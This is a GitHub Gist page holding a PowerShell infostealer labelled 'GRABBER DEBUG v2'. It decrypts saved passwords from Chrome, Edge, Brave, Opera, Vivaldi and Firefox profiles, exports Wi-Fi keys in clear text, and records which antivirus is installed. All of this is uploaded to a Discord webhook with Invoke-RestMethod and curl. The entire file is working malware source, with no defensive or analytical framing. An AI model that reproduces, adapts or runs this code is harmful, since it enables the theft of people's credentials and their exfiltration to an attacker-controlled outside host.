Created
July 25, 2026 21:41
-
-
Save Gravity3432/5e5316b3be520c8385131a8aa7790304 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| DEBUG v2 - browser credential scraper. Prints every step. | |
| #> | |
| # ------------------------------------------------------------ | |
| # Critical: load System.Security for DPAPI | |
| # ------------------------------------------------------------ | |
| Add-Type -AssemblyName System.Security | |
| Add-Type -AssemblyName System.Windows.Forms | |
| Write-Host "[*] Loading WinSQLite3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class WinSQLite3 { | |
| const string d = "winsqlite3"; | |
| [DllImport(d,EntryPoint="sqlite3_open")] | |
| public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db); | |
| [DllImport(d,EntryPoint="sqlite3_prepare16_v2")] | |
| public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t); | |
| [DllImport(d,EntryPoint="sqlite3_step")] | |
| public static extern IntPtr Step(IntPtr stmt); | |
| [DllImport(d,EntryPoint="sqlite3_column_text16")] | |
| static extern IntPtr ColTxt16(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_bytes")] | |
| static extern int ColBytes(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_blob")] | |
| static extern IntPtr ColBlob(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_finalize")] | |
| public static extern IntPtr Finalize(IntPtr s); | |
| [DllImport(d,EntryPoint="sqlite3_close")] | |
| public static extern IntPtr Close(IntPtr db); | |
| public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));} | |
| public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;} | |
| } | |
| "@ | |
| Write-Host "[+] WinSQLite3 OK" | |
| Write-Host "[*] Loading BCrypt AES-GCM..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;} | |
| [DllImport("bcrypt.dll")]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDestroyKey(IntPtr k); | |
| public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){ | |
| IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero; | |
| try{ | |
| if(BCryptOpenAlgorithmProvider(out ha,"AES",null,0)!=0)throw new Exception("alg"); | |
| byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM"); | |
| BCryptSetProperty(ha,"ChainingMode",g,g.Length,0); | |
| if(BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0)!=0)throw new Exception("key"); | |
| byte[]inp=new byte[ct.Length+tag.Length]; | |
| Array.Copy(ct,0,inp,0,ct.Length);Array.Copy(tag,0,inp,ct.Length,tag.Length); | |
| AI ai=new AI();ai.cbs=Marshal.SizeOf(typeof(AI));ai.dwv=1; | |
| GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned); | |
| ai.pn=nh.AddrOfPinnedObject();ai.cn=nonce.Length; | |
| ai.pt=th.AddrOfPinnedObject();ai.ct=tag.Length; | |
| byte[]o=new byte[ct.Length];int rs; | |
| if(BCryptDecrypt(hk,inp,inp.Length,ref ai,null,0,o,o.Length,out rs,0)!=0)throw new Exception("decrypt"); | |
| nh.Free();th.Free(); | |
| byte[]r=new byte[rs];Array.Copy(o,r,rs);return r; | |
| }finally{if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);} | |
| } | |
| } | |
| "@ | |
| Write-Host "[+] BCrypt OK" | |
| # ------------------------------------------------------------ | |
| # Upload-Discord | |
| # ------------------------------------------------------------ | |
| function Upload-Discord { | |
| param([string]$file, [string]$text) | |
| $Body = @{ username = $env:username; content = $text } | |
| if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) } | |
| if ($file) { curl.exe -F "file1=@$file" $DiscordUrl } | |
| } | |
| # ------------------------------------------------------------ | |
| # Find Local State (handle non-standard Chrome installs) | |
| # ------------------------------------------------------------ | |
| function Find-LocalState { | |
| param([string]$SearchRoot) | |
| # Standard location | |
| $std = Join-Path $SearchRoot "Local State" | |
| if (Test-Path $std) { return $std } | |
| # Sometimes Chrome puts User Data one level deeper or uses junctions | |
| # Search up to 2 subdirectories deep | |
| $found = Get-ChildItem $SearchRoot -Recurse -Depth 2 -Filter "Local State" -ErrorAction SilentlyContinue | | |
| Select-Object -First 1 | |
| if ($found) { | |
| Write-Host " [!] Local State found at non-standard path: $($found.FullName)" | |
| return $found.FullName | |
| } | |
| return $null | |
| } | |
| # ------------------------------------------------------------ | |
| # Chromium password scraper | |
| # ------------------------------------------------------------ | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $results = @() | |
| Write-Host "[*] $BrowserName : scanning $UserDataPath" | |
| # First, check if a Login Data file exists anywhere (even if Local State is missing) | |
| $anyLoginDb = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Directory.Name -match "^(Default|Profile \d+|Profile \d+)$" } | | |
| Select-Object -First 1 | |
| if (-not $anyLoginDb) { | |
| Write-Host " [-] No Login Data found anywhere under $UserDataPath" | |
| return $results | |
| } | |
| Write-Host " [+] Found Login Data at: $($anyLoginDb.FullName)" | |
| # --- Try to unlock AES key --- | |
| $aesKey = $null | |
| $localState = Find-LocalState -SearchRoot $UserDataPath | |
| if ($localState) { | |
| Write-Host " [+] Local State found: $localState" | |
| try { | |
| $json = Get-Content $localState -Raw | ConvertFrom-Json | |
| $b64 = $json.os_crypt.encrypted_key | |
| if ($b64) { | |
| $enc = [Convert]::FromBase64String($b64) | |
| $enc = $enc[5..($enc.Length - 1)] | |
| $aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| Write-Host " [+] AES key unlocked ($($aesKey.Length) bytes)" | |
| } else { | |
| Write-Host " [!] No encrypted_key in Local State (will try raw DPAPI fallback)" | |
| } | |
| } catch { | |
| Write-Host " [!] AES key unlock failed: $($_.Exception.Message) (will try raw DPAPI fallback)" | |
| } | |
| } else { | |
| Write-Host " [!] No Local State found anywhere (will try raw DPAPI fallback on old-format blobs)" | |
| } | |
| # --- Process all profiles that have Login Data --- | |
| $loginDbs = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Directory.Name -match "^(Default|Profile \d+|Profile \d+)$" } | |
| foreach ($loginDb in $loginDbs) { | |
| $profileName = $loginDb.Directory.Name | |
| Write-Host " [*] Profile: $profileName" | |
| $tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db" | |
| try { | |
| Copy-Item $loginDb.FullName $tmpDb -Force -ErrorAction Stop | |
| Write-Host " [+] Copied ($((Get-Item $tmpDb).Length) bytes)" | |
| $dbH = [IntPtr]::Zero | |
| if ([WinSQLite3]::Open($tmpDb, [ref]$dbH) -ne 0) { | |
| Write-Host " [-] sqlite3_open failed" | |
| continue | |
| } | |
| $stmt = [IntPtr]::Zero | |
| $query = "SELECT origin_url, username_value, password_value FROM logins" | |
| if ([WinSQLite3]::Prepare2($dbH, $query, -1, [ref]$stmt, [IntPtr]::Zero) -ne 0) { | |
| Write-Host " [-] Prepare failed" | |
| [WinSQLite3]::Close($dbH) | Out-Null; continue | |
| } | |
| $rowCount = 0 | |
| $decryptOk = 0 | |
| $decryptFail = 0 | |
| while (([WinSQLite3]::Step($stmt)) -eq 100) { | |
| $rowCount++ | |
| $url = [WinSQLite3]::ColStr($stmt, 0) | |
| $user = [WinSQLite3]::ColStr($stmt, 1) | |
| $passBlob = [WinSQLite3]::ColByt($stmt, 2) | |
| if (-not $passBlob -or $passBlob.Length -lt 3) { continue } | |
| $hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3) | |
| $pass = $null | |
| # Try AES-GCM first for v10/v20 | |
| if (($hdr -eq 'v10' -or $hdr -eq 'v20') -and $aesKey) { | |
| try { | |
| $nonce = $passBlob[3..14] | |
| $ct = $passBlob[15..($passBlob.Length - 17)] | |
| $tag = $passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)] | |
| $pass = [Text.Encoding]::UTF8.GetString([BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag)) | |
| $decryptOk++ | |
| } catch { | |
| $pass = $null | |
| } | |
| } | |
| # Fallback: raw DPAPI (pre-v80 format and ANY blob if AES failed) | |
| if (-not $pass) { | |
| try { | |
| $pass = [Text.Encoding]::UTF8.GetString( | |
| [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) | |
| $decryptOk++ | |
| } catch { | |
| $decryptFail++ | |
| if ($rowCount -le 3) { | |
| Write-Host " [-] Decrypt fail row $rowCount ($url) : $($_.Exception.Message)" | |
| } | |
| continue | |
| } | |
| } | |
| if ($url -and $pass) { | |
| $results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profileName;URL=$url;Username=$user;Password=$pass} | |
| } | |
| } | |
| Write-Host " [*] Rows: $rowCount | OK: $decryptOk | Fail: $decryptFail" | |
| [WinSQLite3]::Finalize($stmt) | Out-Null | |
| [WinSQLite3]::Close($dbH) | Out-Null | |
| } catch { | |
| Write-Host " [-] Exception: $($_.Exception.Message)" | |
| } | |
| finally { | |
| Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue | |
| } | |
| } | |
| Write-Host " [*] $BrowserName : $($results.Count) credentials" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # Firefox | |
| # ------------------------------------------------------------ | |
| function Get-FirefoxPasswords { | |
| $results = @() | |
| $ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles" | |
| Write-Host "[*] Firefox : $ffProfiles" | |
| if (-not (Test-Path $ffProfiles)) { | |
| Write-Host " [-] No Firefox profiles dir" | |
| return $results | |
| } | |
| Write-Host "[*] Loading NSS3..." | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| public static class NSS { | |
| [DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p); | |
| [DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n); | |
| [DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h); | |
| [StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;} | |
| delegate int NSS_InitD(string p); | |
| delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c); | |
| delegate int NSS_ShutdownD(); | |
| static IntPtr hn,hm; | |
| public static bool Init(string ff,string prof){ | |
| hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll"); | |
| if(hn==IntPtr.Zero)return false; | |
| NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD)); | |
| return init(prof)==0; | |
| } | |
| public static string Decrypt(string b64){ | |
| byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length); | |
| Marshal.Copy(d,0,dp,d.Length); | |
| SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length; | |
| IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.StructureToPtr(si,sp,false); | |
| IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0); | |
| SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD)); | |
| if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;} | |
| uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp); | |
| byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol); | |
| Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp); | |
| return Encoding.UTF8.GetString(r); | |
| } | |
| public static void Shutdown(){ | |
| if(hn!=IntPtr.Zero){ | |
| NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD)); | |
| sd();FreeLibrary(hn); | |
| } | |
| if(hm!=IntPtr.Zero)FreeLibrary(hm); | |
| } | |
| } | |
| "@ | Out-Null | |
| Write-Host "[+] NSS3 OK" | |
| $ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox" | |
| if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" } | |
| if (-not (Test-Path $ffDir)) { | |
| Write-Host " [-] Firefox install dir not found" | |
| return $results | |
| } | |
| Write-Host " [+] Firefox: $ffDir" | |
| foreach ($profDir in Get-ChildItem $ffProfiles -Directory) { | |
| $loginsJson = Join-Path $profDir.FullName "logins.json" | |
| $keyDb = Join-Path $profDir.FullName "key4.db" | |
| Write-Host " [*] Profile: $($profDir.Name)" | |
| if (-not (Test-Path $loginsJson)) { Write-Host " [-] No logins.json"; continue } | |
| if (-not (Test-Path $keyDb)) { Write-Host " [-] No key4.db"; continue } | |
| try { | |
| if (-not [NSS]::Init($ffDir, $profDir.FullName)) { Write-Host " [-] NSS_Init fail"; continue } | |
| Write-Host " [+] NSS init OK" | |
| $logins = Get-Content $loginsJson -Raw | ConvertFrom-Json | |
| Write-Host " [*] $($logins.logins.Count) entries" | |
| foreach ($l in $logins.logins) { | |
| try { | |
| $u = [NSS]::Decrypt($l.encryptedUsername) | |
| $p = [NSS]::Decrypt($l.encryptedPassword) | |
| $results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p} | |
| } catch { Write-Host " [-] Decrypt fail: $($_.Exception.Message)" } | |
| } | |
| [NSS]::Shutdown() | |
| } catch { Write-Host " [-] Exception: $($_.Exception.Message)" } | |
| } | |
| Write-Host " [*] Firefox: $($results.Count) credentials" | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # WiFi | |
| # ------------------------------------------------------------ | |
| function Wifi { | |
| Write-Host "[*] WiFi..." | |
| $tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())" | |
| New-Item -Path $tmp -ItemType Directory -Force | Out-Null | |
| Set-Location $tmp; netsh wlan export profile key=clear | Out-Null | |
| $out = Join-Path $env:TEMP "wifi_passwords.txt" | |
| Select-String -Path *.xml -Pattern 'keyMaterial' | | |
| % { $_ -replace '', '' } | | |
| % { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } | | |
| % { $_ -replace '.xml:22:', '' } > $out | |
| Upload-Discord -file $out -text ":satellite: WiFi Passwords" | |
| Set-Location $env:TEMP | |
| Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue | |
| Remove-Item $out -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] WiFi done" | |
| } | |
| # ------------------------------------------------------------ | |
| # AV | |
| # ------------------------------------------------------------ | |
| function version-av { | |
| Write-Host "[*] AV..." | |
| $f = Join-Path $env:TEMP "av_info.txt" | |
| Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | | |
| Out-File -FilePath $f -Encoding utf8 | |
| Upload-Discord -file $f -text ":shield: AV Info" | |
| Remove-Item $f -Force -ErrorAction SilentlyContinue | |
| Write-Host "[+] AV done" | |
| } | |
| # ------------------------------------------------------------ | |
| # Browser orchestrator | |
| # ------------------------------------------------------------ | |
| function Get-BrowserPasswords { | |
| Write-Host "[*] === BROWSER SCRAPER ===" | |
| $all = @() | |
| $targets = @( | |
| @{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"} | |
| @{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"} | |
| @{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"} | |
| @{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"} | |
| @{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"} | |
| @{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"} | |
| @{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"} | |
| @{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"} | |
| ) | |
| foreach ($t in $targets) { | |
| if (Test-Path $t.P) { | |
| Write-Host "[*] Found $($t.N)" | |
| $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P | |
| } | |
| } | |
| $all += Get-FirefoxPasswords | |
| Write-Host "[*] TOTAL: $($all.Count)" | |
| if ($all.Count -eq 0) { | |
| Upload-Discord -text ":key: Browser Passwords : No credentials found." | |
| return | |
| } | |
| $tmp = Join-Path $env:TEMP "browser_passwords.txt" | |
| $all | Sort-Object Browser, URL | % { | |
| "$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)" | |
| } | Out-File $tmp -Encoding utf8 | |
| $browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', ' | |
| Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)" | |
| Remove-Item $tmp -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| # RUN | |
| # ------------------------------------------------------------ | |
| Write-Host "==========================================" | |
| Write-Host " GRABBER DEBUG v2" | |
| Write-Host " User: $env:USERNAME | Host: $env:COMPUTERNAME" | |
| Write-Host "==========================================" | |
| version-av | |
| Wifi | |
| Get-BrowserPasswords |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment